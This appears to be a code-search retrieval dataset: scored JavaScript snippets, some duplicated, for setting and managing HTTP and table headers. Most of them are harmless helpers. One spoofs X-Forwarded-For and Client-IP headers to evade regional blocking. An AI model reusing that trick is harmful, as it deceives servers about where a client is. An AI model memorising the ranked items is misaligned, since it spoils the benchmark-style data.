[ { "docid": "91868d96dcd3a792f23a3b5cd6996a62", "score": "0.79983467", "text": "setHeader(name, value) {\n this.headers[headerize(name)] = [{ raw: value }];\n }", "title": "" }, { "docid": "a41c0ddcd53726c4e7974a630756f34b", "score": "0.7530456", "text": "header(name, value) {\r\n if (name instanceof Object) {\r\n for (const [key, val] of Object.entries(name))\r\n this.headers[key] = val;\r\n }\r\n else {\r\n this.header[name] = value;\r\n }\r\n return this;\r\n }", "title": "" }, { "docid": "81c8b4c6917a954fca161fa1392ebc53", "score": "0.73620266", "text": "addHeader (name, value) {\n this.#headers[name] = value\n }", "title": "" }, { "docid": "e113d0ccb4ac1cf99a562555b64bbfb2", "score": "0.7317058", "text": "addHeader(name, value) {\n const header = { raw: value };\n name = headerize(name);\n if (this.headers[name]) {\n this.headers[name].push(header);\n }\n else {\n this.headers[name] = [header];\n }\n }", "title": "" }, { "docid": "43ff67a68d26e1262fd543d982134ac4", "score": "0.71401244", "text": "setHeader(key,value)\t{ this.headers[key] = value; }", "title": "" }, { "docid": "0a4030fd8964a96423c2da3e0f1458e1", "score": "0.69267154", "text": "setHeaderValue(headers, headerName, headerValue) {\n if (!headers) {\n headers = [];\n }\n const header = this.findHeaderByName(headers, headerName);\n if (header) {\n header.value = headerValue;\n } else {\n headers.push({ name: headerName, value: headerValue });\n }\n return headers;\n }", "title": "" }, { "docid": "fba6e8990e50f297adbbec54b71038c7", "score": "0.68322563", "text": "function modifyHeader(mod, headers) {\n log(\"before modification \", headers);\n for (let i = 0; i < headers.length; ++i) {\n // use case insensitive match\n if (headers[i].name.toLowerCase() in mod) {\n //log(`${headers[i].name} in mod`);\n headers[i].value = mod[headers[i].name.toLowerCase()];\n delete mod[headers[i].name];\n } else {\n log(`${headers[i].name} not in mod`);\n }\n //headers.splice(i, 1);\n }\n for (let x of Object.keys(mod)) {\n headers.push({name: x, value: mod[x]});\n }\n //log(\"after modification \", headers);\n}", "title": "" }, { "docid": "9ce9188359e706d730c08ed9b3d9982e", "score": "0.67632365", "text": "header(key, value) {\n this.headerList[key] = value;\n return this;\n }", "title": "" }, { "docid": "299eae83cf13affd4439ba2dfc37fbeb", "score": "0.6658385", "text": "function setRequestHeader(target, name, value) {\n if (typeof target.setRequestHeader === 'function') {\n target.setRequestHeader(name, value)\n } else if (target.headers && typeof target.headers.append === 'function') {\n target.headers.append(name, value)\n } else {\n target[name] = value\n }\n}", "title": "" }, { "docid": "6dfb04fb7fb67ef7af3b3a19f83c81f9", "score": "0.66049516", "text": "function redactHeader(name, value) {\n name = name.toLowerCase()\n switch (name) {\n case 'authorization':\n // show the first word if there are multiple (e.g. 'Bearer', 'Basic')\n var words = value.split(' ')\n return words.length > 1 ? words[0] + ' ***' : '***'\n case 'cookie':\n case 'x-auth-token':\n return '***'\n }\n return value\n}", "title": "" }, { "docid": "17c702702ba6db50e9dd2510bd10dbc0", "score": "0.6601081", "text": "function setHeader(header, params) {\n header[this.config.encryptedKeyHeaderName] = params.encoded.encryptedKey;\n header[this.config.ivHeaderName] = params.encoded.iv;\n header[this.config.oaepHashingAlgorithmHeaderName] =\n params.oaepHashingAlgorithm.replace(\"-\", \"\");\n header[this.config.publicKeyFingerprintHeaderName] =\n params.publicKeyFingerprint;\n}", "title": "" }, { "docid": "af75fdd0bf4b834773a3005635b2a49f", "score": "0.6585431", "text": "delHeader (name) {\n delete this.#headers[name]\n }", "title": "" }, { "docid": "3002077547bae3edd0db7bebae475a25", "score": "0.65678376", "text": "function safelySetHeader(req, header_name, header_value) {\n var current_header = req.headers[header_name];\n if (current_header) {\n req.headers[header_name] = current_header += ',' + header_value;\n } else {\n req.headers[header_name] = header_value;\n }\n}", "title": "" }, { "docid": "30df7c6fda2694e48ddea5da2ac6ed59", "score": "0.6517797", "text": "function Header(name, value) {\n return (target, key, descriptor) => {\n extend_metadata_util_1.extendArrayMetadata(constants_1.HEADERS_METADATA, [{ name, value }], descriptor.value);\n return descriptor;\n };\n}", "title": "" }, { "docid": "20dc1caadf91d3e941db39e1f75c29af", "score": "0.6406903", "text": "function updateHeaderValue(aHeaderEntry, aHeaderValue) {\n aHeaderEntry.enclosingBox.headerValue = aHeaderValue;\n}", "title": "" }, { "docid": "010760c5a12b5ea732efdbe97cb33e90", "score": "0.6272214", "text": "set name(name){\n this._name = null;\n this._headerTitle.innerHTML = \"\";\n\n if (typeof name !== 'string') return;\n\n this._headerTitle.innerHTML = name;\n this._name = name;\n }", "title": "" }, { "docid": "2ec60229f6deb5ce00fa6376b4b93b5f", "score": "0.6243462", "text": "function updateColumnHeaders(names) {\n var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();\n // Logger.log(names);\n // var header = spreadsheet.getRange(\"D3:L3\").setValues([ names ]);\n}", "title": "" }, { "docid": "014055b6405723f06aaf992abe068545", "score": "0.62305176", "text": "function updateRequestHeaders() {\n var requestHeaders = lodash.get(ctrl.selectedEvent, 'spec.attributes.headers', {});\n\n ctrl.headers = lodash.map(requestHeaders, function (value, key) {\n var header = {\n name: key,\n value: value,\n ui: {\n editModeActive: false,\n isFormValid: true,\n name: 'label',\n checked: true\n }\n };\n var existedHeader = lodash.find(ctrl.headers, ['name', key]);\n\n if (angular.isDefined(existedHeader)) {\n header.ui = lodash.assign(header.ui, existedHeader.ui);\n }\n\n return header;\n });\n ctrl.headers = lodash.compact(ctrl.headers);\n }", "title": "" }, { "docid": "5d11dbe0e731bfcd8beece68f937fe69", "score": "0.6181929", "text": "function Header(name, value) {\n if (!(this instanceof Header)) {\n return new Header(name, value);\n }\n\n if (typeof name === \"undefined\") {\n throw new strata.Error(\"Header name is required\");\n }\n\n this.name = name;\n this.value = value || \"\";\n}", "title": "" }, { "docid": "36a5d8566fa001d017a038cd75404804", "score": "0.60850596", "text": "function updateHeaders() {\n //update the headers\n smsHeader = $('#smsHeader').val().toUpperCase();\n fixedLineHeader = $('#fixedLineHeader').val().toUpperCase();\n firstNameHeader = $('#firstNameHeader').val().toUpperCase();\n lastNameHeader = $('#lastNameHeader').val().toUpperCase();\n emailHeader = $('#emailHeader').val().toUpperCase();\n xmppHeader = $('#xmppHeader').val().toUpperCase();\n twitterHeader = $('#twitterHeader').val().toUpperCase();\n //update the headerMappings\n headerMappings[\"firstName\"] = firstNameHeader;\n headerMappings[\"lastName\"] = lastNameHeader;\n headerMappings[\"CALL\"] = fixedLineHeader;\n headerMappings[\"SMS\"] = smsHeader;\n headerMappings[\"XMPP\"] = xmppHeader;\n headerMappings[\"EMAIL\"] = emailHeader;\n headerMappings[\"TWITTER\"] = twitterHeader;\n }", "title": "" }, { "docid": "c5a45d405cd6a6499740cbaff86247a8", "score": "0.6014215", "text": "function setHeader(jqXHR, name, value) {\n jqXHR.setRequestHeader(name, value);\n}", "title": "" }, { "docid": "7cb20e9be60570184bd43b7d8eecb61f", "score": "0.5980173", "text": "addCustomHTTPHeader(headerName, headerValue, isLicenseRequest = false) {\n this.player.addCustomHTTPHeader(headerName, headerValue, isLicenseRequest);\n }", "title": "" }, { "docid": "fc31df238c36dd34b28b2ff0896c55cc", "score": "0.5941023", "text": "function copyHeaders(more, dest) {\n if (!more || typeof more !== 'object') {\n return;\n }\n\n Object.keys(more).forEach(function (key) {\n var val = _ember['default'].get(more, key);\n var normalizedKey = key.toLowerCase();\n dest[normalizedKey] = val;\n });\n }", "title": "" }, { "docid": "e3940a0e843b838633e75cf1d72de3f2", "score": "0.59400237", "text": "setOptionalHeaders(optionalHeaders) {\n if (typeof optionalHeaders === 'object'){\n Object.assign(this.defaultHeaders, optionalHeaders);\n }\n }", "title": "" }, { "docid": "39d12f85f8915553972995342db7f519", "score": "0.5933475", "text": "setHeaders(key, value) {\n this.headers.set(key, value);\n\n return this;\n }", "title": "" }, { "docid": "1b12a176c8ce1627c361b8f5194b80cb", "score": "0.5928521", "text": "removeCustomHTTPHeader(headerName) {\n this.player.removeCustomHTTPHeader(headerName);\n }", "title": "" }, { "docid": "cf5baf288a51e32d8945f97bd3dd1774", "score": "0.59272856", "text": "parseHeader(name, idx = 0) {\n name = headerize(name);\n if (!this.headers[name]) {\n // this.logger.log(\"header '\" + name + \"' not present\");\n return;\n }\n else if (idx >= this.headers[name].length) {\n // this.logger.log(\"not so many '\" + name + \"' headers present\");\n return;\n }\n const header = this.headers[name][idx];\n const value = header.raw;\n if (header.parsed) {\n return header.parsed;\n }\n // substitute '-' by '_' for grammar rule matching.\n const parsed = Grammar.parse(value, name.replace(/-/g, \"_\"));\n if (parsed === -1) {\n this.headers[name].splice(idx, 1); // delete from headers\n // this.logger.warn('error parsing \"' + name + '\" header field with value \"' + value + '\"');\n return;\n }\n else {\n header.parsed = parsed;\n return parsed;\n }\n }", "title": "" }, { "docid": "70ca83165f7c2da5db64abca9011933e", "score": "0.5903009", "text": "set headerText(value) {\n this._params.headerText = value;\n }", "title": "" }, { "docid": "74bfe0f377926c2c161984178a251453", "score": "0.5874145", "text": "function switchHeaders() {\n\t\t\tif (vm.cIndex === 0)\n\t\t\t{\n\t\t\t\tvm.cIndex = 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvm.cIndex = 0;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b8afb0b5e4c34c0a14c0edee83c8eeb8", "score": "0.5822296", "text": "function addSecondaryHeaders (theHeader, ...allHeaders) {\n theFoundHeader = theHeader\n for (let aHeader of allHeaders) {\n newTableHeader = document.createElement('th')\n newTableHeader.innerHTML = aHeader\n theFoundHeader.appendChild(newTableHeader)\n }\n}", "title": "" }, { "docid": "2262aca987fcb790ebc46fab4d7e5143", "score": "0.5821985", "text": "function applyHeaders(more, dest, copyUndefined) {\n if (!more || typeof more !== 'object') {\n return;\n }\n\n Object.keys(more).forEach(function (key) {\n var val = _ember['default'].get(more, key);\n var normalizedKey = key.toLowerCase();\n if (val === undefined && copyUndefined !== true) {\n delete dest[normalizedKey];\n } else {\n dest[normalizedKey] = val;\n }\n });\n }", "title": "" }, { "docid": "5c2654eeda1904f8c643e98df53b59f4", "score": "0.5809804", "text": "function setHeader(pair) {\r\n\t\t\treq.setRequestHeader(pair._0, pair._1);\r\n\t\t}", "title": "" }, { "docid": "f39a6a686e66643cf92f61e5799610a8", "score": "0.57950693", "text": "setRequestHeader (header, value) {\n this.requestHeaders.set(header, value)\n }", "title": "" }, { "docid": "278da0e6ba3036667ec121290e717b4e", "score": "0.5784992", "text": "function updateHeaderData(a_data) {\n scope.headerSecData = a_data;\n scope.headerSecData.Comments.date = scope.getDate(a_data.Comments.date);\n scope.docCreatedOn = scope.getDate(a_data.createdOn);\n }", "title": "" }, { "docid": "02babb98f1ad72227eef8e5972078269", "score": "0.5746809", "text": "function setHeader(p, r1, c1, r2, c2, hdr) {\n for (var r = r1; r <= r2; r++) {\n for (var c = c1; c <= c2; c++) {\n p.setCellData(r, c, hdr);\n }\n }\n}", "title": "" }, { "docid": "d8cc9e808b3df94455bdbfcd397275bc", "score": "0.5741071", "text": "_attachHeaders(response, headers) {\n for (let i = 0; i < headers.length; i++) {\n response.setHeader(headers[i].name, headers[i].value);\n }\n }", "title": "" }, { "docid": "4af026debcf045570d070d766caa26aa", "score": "0.5729247", "text": "async putBlockHeader(blockHeader) {\n await super.set(blockHeader.cid.value, blockHeader);\n }", "title": "" }, { "docid": "2e34e36b6707a913588bd97d5d5f641e", "score": "0.5727061", "text": "function coheUpdateHeaderValueInTextNode(headerEntry, headerValue)\r\n {\r\n headerEntry.textNode.value = headerValue;\r\n }", "title": "" }, { "docid": "7b0f1739c5fc1552fce5a9d79bb34e89", "score": "0.5661841", "text": "addTableHeaders(tableObject, headersName) {\n /*scope.$apply( () => {\n scope[headersName] = tableObject.headers;\n });*/\n this.tableHeaders = tableObject.headers;\n this.columnMapping = tableObject.columnMapping;\n }", "title": "" }, { "docid": "db132d6c06a187238660c6d52a86e9eb", "score": "0.56381947", "text": "createChangeObject(headers){\n let t_obj = {};\n headers.forEach(header => {\n t_obj[header] = \"\";\n })\n return t_obj;\n }", "title": "" }, { "docid": "f83cda68adcccc22ea958fb3584d1aaa", "score": "0.5616122", "text": "s(name, idx = 0) {\n return this.parseHeader(name, idx);\n }", "title": "" }, { "docid": "d300f8bc10e7a185bf229e898df2ce22", "score": "0.56013685", "text": "function insertHeader(data) {\n\t\n\tvar rObj = {};\n\tvar hObj = {};\n\trObj = data[0];\n\tfor (var key in rObj) {\n\t\thObj[key] = key;\n\t}\n\tdata.unshift(hObj);\n}", "title": "" }, { "docid": "41c42a43695c05d731a3f7fd945ad3f9", "score": "0.5594907", "text": "function headerColor() {\n\t\tlet header = document.getElementsByTagName(\"header\")[0];\n\t\tif (header.id === \"headerRed\") {\n\t\t\theader.id = \"headerBlue\";\n\t\t} else {\n\t\t\theader.id = \"headerRed\";\n\t\t}\n\t}", "title": "" }, { "docid": "718d3375f8b4c8d79791709d8a169fc2", "score": "0.5589653", "text": "resetOptionalHeaders() {\n var allKeys = Object.keys(this.defaultHeaders);\n for (var key in allKeys) {\n if ([\"Content-Type\", \"Cache-Control\", \"Pragma\"].indexOf(allKeys[key]) === -1) {\n delete this.defaultHeaders[allKeys[key]];\n }\n }\n }", "title": "" }, { "docid": "7da721f634053e2791a24a4183b943f7", "score": "0.55448824", "text": "removeHeader(key)\t{ delete this.headers[key]; }", "title": "" }, { "docid": "db2aa38fa2e7388ebb3bc9ad58280caf", "score": "0.5503159", "text": "_createRequestHeaders(jwt) {\n const headers = Object.assign({}, this.headers);\n headers['Authorization'] = `Bearer ${jwt}`;\n return headers;\n }", "title": "" }, { "docid": "775ff0ea62b9d6b039500107bb513f36", "score": "0.5502725", "text": "header(key = undefined, val = undefined)\n\t{\n\t\treturn mc.io.request.header.call(this, key, val);\n\t}", "title": "" }, { "docid": "c62afe98e6884e4414e14ebf03f2d75c", "score": "0.54823035", "text": "addHeaderRowDef(headerRowDef) {\n this._customHeaderRowDefs.add(headerRowDef);\n this._headerRowDefChanged = true;\n }", "title": "" }, { "docid": "c62afe98e6884e4414e14ebf03f2d75c", "score": "0.54823035", "text": "addHeaderRowDef(headerRowDef) {\n this._customHeaderRowDefs.add(headerRowDef);\n this._headerRowDefChanged = true;\n }", "title": "" }, { "docid": "c62afe98e6884e4414e14ebf03f2d75c", "score": "0.54823035", "text": "addHeaderRowDef(headerRowDef) {\n this._customHeaderRowDefs.add(headerRowDef);\n this._headerRowDefChanged = true;\n }", "title": "" }, { "docid": "c62afe98e6884e4414e14ebf03f2d75c", "score": "0.54823035", "text": "addHeaderRowDef(headerRowDef) {\n this._customHeaderRowDefs.add(headerRowDef);\n this._headerRowDefChanged = true;\n }", "title": "" }, { "docid": "aadeff8505352a5389863143d41c4f52", "score": "0.54783976", "text": "function InsertHeaderIntoCsvData(noHeaderCsvData) {\n const itaupjHeader = 'Data_Mov;Historico;Valor\\n';\n const csvWithHeaders = itaupjHeader.concat(noHeaderCsvData);\n return csvWithHeaders;\n }", "title": "" }, { "docid": "26e7b911395d5b5752a7760153875cd2", "score": "0.5449339", "text": "function changeHeaderText(groupName) {\n document.getElementById(\"groupNameHeader\").innerHTML = groupName;\n}", "title": "" }, { "docid": "23ba8c8a67bc866202ea1813bef340af", "score": "0.5448625", "text": "_setRequestHeader() {\n if (!this.busy) {\n return;\n }\n\n const parameters = [...arguments],\n [xhr, header, value] = parameters;\n\n parameters.shift();\n\n const httpRequestInfo = xhr[XHR_METADATA_KEY] || new HttpRequestInfo();\n const reqHeaders = httpRequestInfo.requestHeaders || new Map();\n reqHeaders.set(header, value);\n httpRequestInfo.requestHeaders = reqHeaders;\n xhr[XHR_METADATA_KEY] = httpRequestInfo;\n\n this._nativeSetRequestHeader.call(xhr, ...parameters);\n }", "title": "" }, { "docid": "95fdcf56d7dea6a6e7fc165473f2c1ab", "score": "0.54252255", "text": "function setRespHeaders() {\n var resHeaders = rrpair.resHeaders;\n if (resHeaders) { \n \n \n if(label){\n resHeaders['Mockiato-RRPair-Label'] = label;\n }\n \n if (!resHeaders['Content-Type']) {\n setContentType();\n }\n \n resp.set(resHeaders);\n return;\n }else if(rrpair.label){\n\n resp.set( { \"Mockiato-RRPair-Label\": rrpair.label});\n }\n \n setContentType();\n }", "title": "" }, { "docid": "6b2c73efe0207207f42ebadb45853df0", "score": "0.5418509", "text": "function copyHeaders(sourceResponse, targetResponse) {\n for (const key in sourceResponse.headers) {\n if (!Object.prototype.hasOwnProperty.call(sourceResponse.headers, key)) {\n continue;\n }\n targetResponse.setHeader(key, sourceResponse.headers[key]);\n }\n}", "title": "" }, { "docid": "32030ff55e42c0e107b3f6889f547163", "score": "0.54086846", "text": "function i(e,a){for(var t=0;t<a.length;t++)e.setHeader(a[t][0],a[t][1])}", "title": "" }, { "docid": "dffbf8d05e412b9e6343731431577679", "score": "0.5368453", "text": "function addNewHeader(event) {\n $timeout(function () {\n if (ctrl.headers.length < 1 || lodash.last(ctrl.headers).ui.isFormValid) {\n ctrl.headers.push({\n name: '',\n value: '',\n ui: {\n editModeActive: true,\n isFormValid: false,\n name: 'header',\n checked: true\n }\n });\n\n event.stopPropagation();\n }\n }, 50);\n }", "title": "" }, { "docid": "c2073b1424540e4a367c9db8765fa570", "score": "0.53616816", "text": "function _defineHeaders (sheet, headers) {\n var sht = _getSheet(sheet);\n \n var response = Sheets.Spreadsheets.batchUpdate({\n requests: [\n {\n updateSheetProperties: {\n properties: {\n sheetId: sht.properties.id,\n gridProperties: {\n frozenRowCount: headers.length,\n }\n },\n fields: 'gridProperties.frozenRowCount',\n }\n },\n ]\n }, _getId());\n \n\n this.inputValues(_toRange(sht.properties.title, 1, headers.length), headers);\n this.setKeyHeadingRow(0);\n }", "title": "" }, { "docid": "1f11809594b44c142158b39f27670837", "score": "0.53545874", "text": "function headerSetter (sheet, fields, colors) {\n\n var headerNames = [],\n backgrounds = [],\n fontColors = [],\n fontWeights = [],\n fieldsLength = fields.length;\n\n for (var i = 0; i < fieldsLength; i++) {\n headerNames.push(fields[i].name);\n\n // set field text depending on whether is required or not\n var fontColor = (fields[i].required || fields[i].requiredForSubType) ? colors.headerRequired : colors.header;\n var fontWeight = fields[i].required ? 'bold' : 'normal';\n fontColors.push(fontColor);\n fontWeights.push(fontWeight);\n\n // set background colors based on if it is a subtype only field or not\n var background = fields[i].isSubTypeField ? colors.bgHeaderSubType : colors.bgHeader;\n backgrounds.push(background);\n }\n\n sheet.getRange(1, 1, 1, fieldsLength)\n .setWrap(true)\n // the arrays need to be in an array as methods expect a 2D array for managing 2D ranges\n .setBackgrounds([backgrounds])\n .setFontColors([fontColors])\n .setFontWeights([fontWeights])\n .setValues([headerNames])\n .protect().setDescription(\"header row\").setWarningOnly(true);\n}", "title": "" }, { "docid": "b84b00a90a6a4d00231c998c609a01af", "score": "0.5354129", "text": "getHeader (name) {\n return this.#headers[name] ?? undefined\n }", "title": "" }, { "docid": "732ff4fd639429b44e097486a5048524", "score": "0.5353432", "text": "function getHeader(headers, name) {\n if (Ember.isNone(headers) || Ember.isNone(name)) {\n return undefined;\n }\n\n const matchedKey = Ember.A(Object.keys(headers)).find(key => {\n return key.toLowerCase() === name.toLowerCase();\n });\n return matchedKey ? headers[matchedKey] : undefined;\n }", "title": "" }, { "docid": "4997a6d98186330e93b9695ad599060c", "score": "0.5349554", "text": "function changeHeader([rowId, colId]) {\n let data;\n if (cellData[selectedSheet][rowId - 1] && cellData[selectedSheet][rowId - 1][colId - 1])//agr exust krta h mtlb proprty chnge hui h\n data = cellData[selectedSheet][rowId - 1][colId - 1];\n else data = defaultProperties;\n $(\"#font-family\").val(data[\"font-family\"]);\n $(\"#font-family\").css(\"font-family\", data[\"font-family\"]);\n $(\"#font-size\").val(data[\"font-size\"]);\n $(\".alignment.selected\").removeClass(\"selected\");\n $(`.alignment[data-type=${data.alignment}]`).addClass(\"selected\");\n addRemoveSelectFromFontStyle(data, \"bold\");\n addRemoveSelectFromFontStyle(data, \"italic\");\n addRemoveSelectFromFontStyle(data, \"underlined\");\n $(\"#color-fill-icon\").css(\"border-bottom\", `3px solid ${data.bgcolor}`);\n $(\"#text-fill-icon\").css(\"border-bottom\", `3px solid ${data.color}`);\n\n}", "title": "" }, { "docid": "4d4265abc2832f595c98ce7dbdeea2f8", "score": "0.53484356", "text": "verifyHeaderDetails() {\n let householdIndex = (global.updateDataJson.households.length === 0) ? 0 : global.updateDataJson.households.length-1;\n\n let header = {};\n\n let aptcAmt = global.updateDataJson.households[householdIndex].aptcAmount;\n let subsidyAmt = global.updateDataJson.households[householdIndex].stateSubsidy;\n let aptcTotal = aptcAmt;\n\n if (aptcAmt == \"\" || aptcAmt == null || aptcAmt == undefined)\n header = { [commonLoc.topNav.hd_healthPlans]: healthContentState.healthPlans, [commonLoc.topNav.hd_dentalPlans]: healthContent.dentalPlans, [commonLoc.backToPreferences]: healthContent.backToPreferences, [healthPlanPageLoc.header.editFamilyInfo]: healthContent.editFamilyInfo, [commonLoc.header.ZIP]: healthContent.ZIP, [commonLoc.header.ZIP]: global.updateDataJson.households[householdIndex].zip, [commonLoc.header.memberInfo]: healthContent.memberInfo, [commonLoc.header.coverageDateAPTC]: global.updateDataJson.households[householdIndex].coverageDate };\n\n else {\n if (subsidyAmt != \"\" && subsidyAmt != null && subsidyAmt != undefined)\n aptcTotal = (parseFloat(aptcAmt) + parseFloat(subsidyAmt)).toFixed(2);\n\n aptcTotal = dataUtil.formatMoney(aptcTotal, true, true);\n\n header = {\n [commonLoc.topNav.hd_healthPlans]: healthContentState.healthPlans, [commonLoc.topNav.hd_dentalPlans]: healthContent.dentalPlans, [commonLoc.backToPreferences]: healthContent.backToPreferences, [healthPlanPageLoc.header.editFamilyInfo]: healthContent.editFamilyInfo, [commonLoc.header.ZIP]: healthContent.ZIP, [commonLoc.header.ZIP]: global.updateDataJson.households[householdIndex].zip, [commonLoc.header.memberInfo]: healthContent.memberInfo\n , [healthPlanPageLoc.header.aptcAmount]: aptcTotal, [commonLoc.header.coverageDateAPTC]: global.updateDataJson.households[householdIndex].coverageDate\n };\n }\n if (state.toUpperCase() == constants.STATE_CA)\n delete header[[healthPlanPageLoc.header.editFamilyInfo]];\n\n assert.assertArrayOfElementsContainsTextIgnoringCase(header);\n\n }", "title": "" }, { "docid": "56838685c9d7df7df9f1aebe18fd4ce4", "score": "0.53459686", "text": "function setHeaders(sheet, values){\n var headerRow = sheet.getRange(1, 1, 1, values.length)\n headerRow.setValues([values]); \n headerRow.setFontWeight(\"bold\").setHorizontalAlignment(\"center\");\n}", "title": "" }, { "docid": "9ec4b7798acc4202afdf65317ae27040", "score": "0.5331032", "text": "header (key) {\n return this.res.header[key]\n }", "title": "" }, { "docid": "529c8ac004a39c20b0812a32f6681acf", "score": "0.5330373", "text": "function addHeaderToConfig(config) {\n config = config || {};\n config.headers = config.headers || {};\n\n // Add the header unless user asked to handle errors himself\n if (!specificallyHandleInProgress) {\n config.headers[HEADER_NAME] = true;\n }\n\n return config;\n }", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "229b2fef35d3fe7ef7ee703f5db609d9", "score": "0.53091913", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "413f8ba64ddebbb78dac9399c034a966", "score": "0.53085005", "text": "function extra_header_modifier(details) {\n details.requestHeaders.push({\n name: 'X-Forwarded-For',\n value: unblock_youku.ip_addr\n }, {\n name: 'Client-IP',\n value: unblock_youku.ip_addr\n });\n\n return {requestHeaders: details.requestHeaders};\n}", "title": "" }, { "docid": "77f7a31d625c03cc6041691389e08217", "score": "0.5308116", "text": "function setDefaultHeaders(responseObj) {\n\ttry {\n\t\tfor (var count=0; count < serverConfig.rpc_options.headers.length; count++) {\n\t\t\tvar headerData = serverConfig.rpc_options.headers[count];\n\t\t\tfor (var headerType in headerData) {\n\t\t\t\tresponseObj.setHeader(headerType, headerData[headerType]);\n\t\t\t}\n\t\t}\n\t} catch (error) {\n\t\ttrace(\"error setting headers: \" + error);\n\t}\n}", "title": "" }, { "docid": "7b33822f248466872d8a138e72e70a67", "score": "0.53064543", "text": "function getHeader(headers, name) {\n if (Ember.isNone(headers) || Ember.isNone(name)) {\n return undefined;\n }\n\n var matchedKey = Ember.A(Object.keys(headers)).find(function (key) {\n return key.toLowerCase() === name.toLowerCase();\n });\n return matchedKey ? headers[matchedKey] : undefined;\n }", "title": "" }, { "docid": "6b95b626cf0eef6c002495c965483925", "score": "0.5274961", "text": "function addHeaderSPA(headerName)\n{\n\tif(kony.os.deviceInfo().name == \"thinclient\" || kony.os.deviceInfo().name == \"WindowsPhone\")\n\t\thboxHeadspa.lblHeadspa.text = headerName;\n}", "title": 